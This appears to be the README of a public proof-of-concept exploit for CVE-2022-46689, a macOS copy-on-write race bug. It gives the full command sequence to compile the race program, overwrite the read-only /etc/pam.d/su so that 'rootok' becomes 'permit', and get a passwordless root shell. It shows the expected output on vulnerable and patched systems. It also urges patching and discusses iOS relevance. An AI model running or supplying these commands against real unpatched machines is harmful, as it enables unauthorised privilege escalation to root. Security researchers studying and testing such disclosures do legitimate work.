Get root on macOS 13.0.1 with CVE-2022-46689 (macOS equivalent of the Dirty Cow bug), using the testcase extracted from Apple’s XNU source.

Usage

On a macOS 13.0.1 / 12.6.1 (or below) machine, clone the extracted test case:

git clone https://github.com/zhuowei/MacDirtyCowDemo

Then run:

clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su

You should get:

% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2# 

Tested on macOS 13 beta (22A5266r) with SIP off (it should still work with SIP on).

If your system is fully patched (macOS 13.1 / 12.6.2), it should instead read:

$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure

and running su should still ask for a password.

Thanks to Sealed System Volume, running this on any file on the /System volume only modifies the file temporarily: It’s reverted on reboot. Running it on a file on a writeable volume will preserve the modification after a reboot.

Should I be worried?

If you installed the latest macOS update (macOS 13.1 / 12.6.2 / 11.7.2), you should be fine.

If you haven’t, do it now.

Will this be useful for iOS jailbreak?

Probably not.

This - as far as I can tell - affects userspace processes only. Jailbreaks require a kernel exploit. (The Apple Security release notes says that this bug may allow “arbitrary code with kernel privileges”, but I can’t see how.)

You might still do something cool on iOS with this, but I’m not sure what you’d overwrite: codesigning should protect all executables and libraries. (I have not tested this: let me know if you find anything!)

Credits

• Ian Beer of Project Zero for finding this issue, and for finding other issues in XNU’s virtual memory. Looking forward to the writeup for this issue.
• Apple for the test case and patch. (I didn’t change anything: I just added the command line parameter to control what to overwrite.)
• SSLab@Gatech for the trick to disable password checking using /etc/pam.d.
• @WangTielei for sharing a related issue and answering my questions.

Changelog

2022-12-17:

• clarified that “jailbreak” refers to iOS.
• clarified that the Project Zero issue link goes to a different issue than this one.
• link the patch in vm_map_copy_overwrite_unaligned.